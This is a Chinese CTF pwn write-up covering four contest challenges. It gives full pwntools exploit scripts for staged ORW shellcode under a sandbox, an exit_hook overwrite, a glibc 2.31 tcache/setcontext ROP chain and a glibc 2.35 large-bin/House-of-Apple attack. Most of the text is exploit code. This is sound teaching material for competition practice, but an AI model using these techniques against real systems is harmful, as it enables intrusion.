第二届黄河流域公安院校网络安全技能挑战赛 pwn wp
第二届黄河流域公安院校网络安全技能挑战赛 pwn wp easy_shellcode 思路 开了沙箱 这里可以看到在0x600000处权限全开,然后可以直接执行写入buf的汇编 但是一开始只能执行7个字节的shellcode,所以需要先构造一个更大的read,以便写入更多 s(asm('xor eax, eax; push 0x60; pop rdx; syscall')) 这里rdi和
第二届黄河流域公安院校网络安全技能挑战赛 pwn wp
easy_shellcode
思路

开了沙箱



这里可以看到在0x600000处权限全开,然后可以直接执行写入buf的汇编
但是一开始只能执行7个字节的shellcode,所以需要先构造一个更大的read,以便写入更多
s(asm('xor eax, eax; push 0x60; pop rdx; syscall'))
这里rdi和rsi都不需要在设置了,所以直接将rax置0,然后将rdx的参数压栈就可以了
然后写orw_shellcode即可
orw_shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x30
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
s('a'*7+orw_shellcode)
itr()

exp
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
#p=process('./pwn')
p=remote('47.98.236.4',5001)
def duan():
gdb.attach(p)
pause()
ru("Maybe you need to write some compilations\n")
s(asm('xor eax, eax; push 0x60; pop rdx; syscall'))
orw_shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x30
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
s('a'*7+orw_shellcode)
itr()
magic_write
思路


先是伪随机数绕过,然后gift泄露出来libc,后面read读入的地方有0xe字节的溢出
libcc.srand(libcc.time(0))
a = libcc.rand()%110
p.sendlineafter("please enter this challenge\n", str(a))

只有0xe直接的溢出,后面几位要改成\x00
pl='a'*0x28+'\xbd\x12\x40\x00\x00\x00'
s(pl)
然后进入magic函数

这里二级指针实现任意地址写
所以这里可以去打exit_hook
p &_rtld_global

把这个地址改成og就可以

exp
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
p=remote('47.98.236.4',5002)
#p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc-2.31.so')
libcc = cdll.LoadLibrary('./libc-2.31.so')
libc = ELF('./libc-2.31.so')
def duan():
gdb.attach(p)
pause()
libcc.srand(libcc.time(0))
a = libcc.rand()%110
p.sendlineafter("please enter this challenge\n", str(a))
ru('Give you a gift\n')
libc_base=int(r(14),16)-libc.sym["puts"]
leak('libc_base ',libc_base)
_dl_rtld_unlock_recursive=libc_base+0x222f70
ogs=[0xe3afe,0xe3b01,0xe3b04]
og=libc_base+ogs[0]
ru('Come and try it out\n')
pl='a'*0x28+'\xbd\x12\x40\x00\x00\x00'
s(pl)
ru('Congratulations on completing a big step\n')
s(p64(_dl_rtld_unlock_recursive))
s(p64(og))
itr()
hard_heap
思路



4个功能都有,就还是加了个沙箱
所以就是2.31的uaf,开了沙箱,所以可以打setcontext
add(0,0x88,'aaaa')
add(1,0x88,'aaaa')
delete(1)
delete(0)
show(0)
heap_base=u64(p.recv(6)[-6:].ljust(8,'\x00'))-0x1040
leak('heap_base',heap_base)
edit(0,p64(heap_base+0x10))
add(2,0x88,'./flag\x00\x00')
pl=p64(0)*9+p64(0x07000000000000)
add(3,0x88,pl)
delete(3)
show(3)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ecbe0
leak('libc_base ',libc_base)
free_hook=libc_base+libc.sym['__free_hook']
setcontext=libc_base+libc.sym['setcontext']+61
magic_gadget=libc_base+0x0000000000151990
syscall= libc_base + libc.sym['read'] + 0x10
leak('setcontext ',setcontext)
pl=p64(0x0007000700070007)+p64(0x0007000700070007)+p64(0x0007000700070007)+p64(0)*13+p64(heap_base+0x90)
edit(3,pl)
pl=p64(heap_base)*2+p64(heap_base+0xa0)
add(4,0x18,pl)
pl=p64(heap_base+0xfb0)+p64(free_hook)+p64(heap_base+0x1000)+p64(heap_base+0x1080)+p64(heap_base+0x2000)+p64(heap_base+0x2070)
add(5,0x38,pl)
反复利用tcachebin的特性去设置一下链表

设置flag,然后free_hook改成magic_gadget,确定setcontext+61的位置,同时要满足magic_gadget的调用
add(6,0x48,p64(magic_gadget))
pl=p64(setcontext)+p64(heap_base+0x1000-0x20)
add(7,0x58,pl)
这样就能成功调用setcontext+61了
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
rdi = libc_base + 0x0000000000023b6a
rsi = libc_base + 0x000000000002601f
rdx = libc_base + 0x0000000000142c92
rax = libc_base + next(libc.search(asm('pop rax;ret;')))
rdx12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
ret = libc_base+0x0000000000022679
bss_addr = libc_base + libc.bss()+0x200
flag_addr = heap_base+0xfb0
orw = p64(rdi)+p64(flag_addr)
orw += p64(rsi)+p64(0)
orw += p64(rax)+p64(2)
orw += p64(syscall)
#read
orw += p64(rdi)+p64(0x3)
orw += p64(rsi)+p64(flag_addr)
orw += p64(rdx)+p64(0x30)
orw += p64(rax)+p64(0)
orw += p64(syscall)
#write
orw += p64(rdi)+p64(1)
orw += p64(rsi)+p64(flag_addr)
orw += p64(rdx)+p64(0x30)
orw += p64(rax)+p64(1)
orw += p64(syscall)
pl=orw
add(8,0x70,pl[:0x70])
add(9,0x80,pl[0x70:])
然后因为orw比较长,所以分开两次填入下图地址

设置一下setconte的调用
pl=p64(heap_base+0x2000)+p64(ret)
add(10,0x68,pl)

然后就直接delete就可以了
delete(7)

exp
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
#p=remote("47.98.236.4",5003)
p=process('./pwn')
elf = ELF('./pwn')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./libc.so.6')
add_idx = 1
delete_idx = 2
edit_idx = 3
show_idx = 4
def duan():
gdb.attach(p)
pause()
def choice(cho):
sla('> \n',cho)
def add(idx,size,content):
choice(add_idx)
sla('Please enter yours Index: \n',idx)
sla('Please enter yours Size: \n',size)
sa('Please enter yours Content: \n',content)
def delete(idx):
choice(delete_idx)
sla('Please enter yours Index: \n',idx)
def show(idx):
choice(show_idx)
sla('Please enter yours Index: \n',idx)
def edit(idx,content):
choice(edit_idx)
sla('Please enter yours Index: \n',idx)
sla('Please enter yours Content: \n',content)
def duan():
gdb.attach(p)
pause()
add(0,0x88,'aaaa')
add(1,0x88,'aaaa')
delete(1)
delete(0)
show(0)
heap_base=u64(p.recv(6)[-6:].ljust(8,'\x00'))-0x1040
leak('heap_base',heap_base)
edit(0,p64(heap_base+0x10))
add(2,0x88,'./flag\x00\x00')
pl=p64(0)*9+p64(0x07000000000000)
add(3,0x88,pl)
delete(3)
show(3)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ecbe0
leak('libc_base ',libc_base)
free_hook=libc_base+libc.sym['__free_hook']
setcontext=libc_base+libc.sym['setcontext']+61
magic_gadget=libc_base+0x0000000000151990
syscall= libc_base + libc.sym['read'] + 0x10
leak('setcontext ',setcontext)
pl=p64(0x0007000700070007)+p64(0x0007000700070007)+p64(0x0007000700070007)+p64(0)*13+p64(heap_base+0x90)
edit(3,pl)
pl=p64(heap_base)*2+p64(heap_base+0xa0)
add(4,0x18,pl)
pl=p64(heap_base+0xfb0)+p64(free_hook)+p64(heap_base+0x1000)+p64(heap_base+0x1080)+p64(heap_base+0x2000)+p64(heap_base+0x2070)
add(5,0x38,pl)
add(6,0x48,p64(magic_gadget))
pl=p64(setcontext)+p64(heap_base+0x1000-0x20)
add(7,0x58,pl)
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
rdi = libc_base + 0x0000000000023b6a
rsi = libc_base + 0x000000000002601f
rdx = libc_base + 0x0000000000142c92
rax = libc_base + next(libc.search(asm('pop rax;ret;')))
rdx12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
ret = libc_base+0x0000000000022679
bss_addr = libc_base + libc.bss()+0x200
flag_addr = heap_base+0xfb0
orw = p64(rdi)+p64(flag_addr)
orw += p64(rsi)+p64(0)
orw += p64(rax)+p64(2)
orw += p64(syscall)
#read
orw += p64(rdi)+p64(0x3)
orw += p64(rsi)+p64(flag_addr)
orw += p64(rdx)+p64(0x30)
orw += p64(rax)+p64(0)
orw += p64(syscall)
#write
orw += p64(rdi)+p64(1)
orw += p64(rsi)+p64(flag_addr)
orw += p64(rdx)+p64(0x30)
orw += p64(rax)+p64(1)
orw += p64(syscall)
pl=orw
add(8,0x70,pl[:0x70])
add(9,0x80,pl[0x70:])
pl=p64(heap_base+0x2000)+p64(ret)
add(10,0x68,pl)
delete(7)
leak('orw ',len(orw))
itr()
你能拿出来箱子里面的苹果吗
思路


稍微限制了一下add的大小(0x470-0x490),其他还是uaf,2.35版本的开了沙箱,直接打apple2就可以
先泄露libc和heap
add(0,0x490,'aaaa')
add(1,0x490,'aaaa')
delete(0)
show(0)
libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x21ace0
leak('libc_base ',libc_base)
delete(1)
add(2,0x470,'cccc')
add(3,0x470,'cccc')
edit(0,'\x00'*0x470+p64(0)+p64(0x21))
delete(3)
show(3)
heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
leak('heap_base ',heap_base)
然后就是正常的large bin attack的准备
add(4,0x480,'bbbb')
add(5,0x480,'bbbb')
add(6,0x470,'bbbb')
add(7,0x470,'bbbb')
delete(4)
add(8,0x490,'bbbb')
delete(6)

然后找一下地址
IO_list_all=libc.sym['_IO_list_all']+libc_base
free_hook=libc.sym['__free_hook']+libc_base
lock=libc_base+0x21ca60
wfile=libc_base+libc.sym['_IO_wfile_jumps']
pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
pop_rdx_r12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
magic_gadget = libc_base + 0x16a06a
设置一下
然后找好偏移打板子就行
#open
orw=b'./flag\x00\x00'
orw+=p64(pop_rdx_r12)+p64(0)+p64(chunk0-0x10)
orw+=p64(pop_rdi)+p64(orw_addr)
orw+=p64(pop_rsi)+p64(0)
orw+=p64(open_addr)
#read
orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(orw_addr+0x100)
orw+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
orw+=p64(read_addr)
#puts
orw+=p64(pop_rdi)+p64(orw_addr+0x100)
orw+=p64(puts_addr)
pl=p64(0)+p64(leave_ret)+p64(0)+p64(IO_list_all-0x20)
pl+=p64(0)*2+p64(0)+p64(orw_addr)
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile)
pl+=p64(0)*0x1c+p64(chunk0+0x1c8)
pl+=p64(0)*0xd+p64(magic_gadget)
pl+=orw
leak('pl',len(pl))
edit(4,pl.ljust(0x480,'\x00'))

然后触发large bin attack
add(9,0x490,'bbbb')
_IO_list_all已经这时候指向了4b0的chunk,也就是这时候err以及变了

0xb90和0x4b0是相互链在一起的,所以把0x4b0申请出来,_IO_list_all就指向了我们构造的0xb90,然后就直接刷新就可以了
add(10,0x470,'aaaa')
sla('> \n','1')
sla('Please enter yours Index: \n',0x20)
得到flag

exp
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
p=remote("47.98.236.4",5004)
#p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
add_idx = 1
delete_idx = 2
edit_idx = 3
show_idx = 4
def duan():
gdb.attach(p)
pause()
def choice(cho):
sla('> \n',cho)
def add(idx,size,content):
choice(add_idx)
sla('Please enter yours Index: \n',idx)
sla('Please enter yours Size: \n',size)
sa('Please enter yours Content: \n',content)
def delete(idx):
choice(delete_idx)
sla('Please enter yours Index: \n',idx)
def show(idx):
choice(show_idx)
sla('Please enter yours Index: \n',idx)
def edit(idx,content):
choice(edit_idx)
sla('Please enter yours Index: \n',idx)
sla('Please enter yours Content: \n',content)
add(0,0x490,'aaaa')
add(1,0x490,'aaaa')
delete(0)
show(0)
libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x21ace0
leak('libc_base ',libc_base)
delete(1)
add(2,0x470,'cccc')
add(3,0x470,'cccc')
edit(0,'\x00'*0x470+p64(0)+p64(0x21))
delete(3)
show(3)
heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
leak('heap_base ',heap_base)
add(4,0x480,'bbbb')
add(5,0x480,'bbbb')
add(6,0x470,'bbbb')
add(7,0x470,'bbbb')
delete(4)
add(8,0x490,'bbbb')
delete(6)
IO_list_all=libc.sym['_IO_list_all']+libc_base
free_hook=libc.sym['__free_hook']+libc_base
lock=libc_base+0x21ca60
wfile=libc_base+libc.sym['_IO_wfile_jumps']
pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
pop_rdx_r12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
magic_gadget = libc_base + 0x16a06a
chunk0=heap_base+0xb90
orw_addr = chunk0+0x238
#open
orw=b'./flag\x00\x00'
orw+=p64(pop_rdx_r12)+p64(0)+p64(chunk0-0x10)
orw+=p64(pop_rdi)+p64(orw_addr)
orw+=p64(pop_rsi)+p64(0)
orw+=p64(open_addr)
#read
orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(orw_addr+0x100)
orw+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
orw+=p64(read_addr)
#puts
orw+=p64(pop_rdi)+p64(orw_addr+0x100)
orw+=p64(puts_addr)
pl=p64(0)+p64(leave_ret)+p64(0)+p64(IO_list_all-0x20)
pl+=p64(0)*2+p64(0)+p64(orw_addr)
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile)
pl+=p64(0)*0x1c+p64(chunk0+0x1c8)
pl+=p64(0)*0xd+p64(magic_gadget)
pl+=orw
leak('pl',len(pl))
edit(4,pl.ljust(0x480,'\x00'))
add(9,0x490,'bbbb')
add(10,0x470,'aaaa')
sla('> \n','1')
sla('Please enter yours Index: \n',0x20)
itr()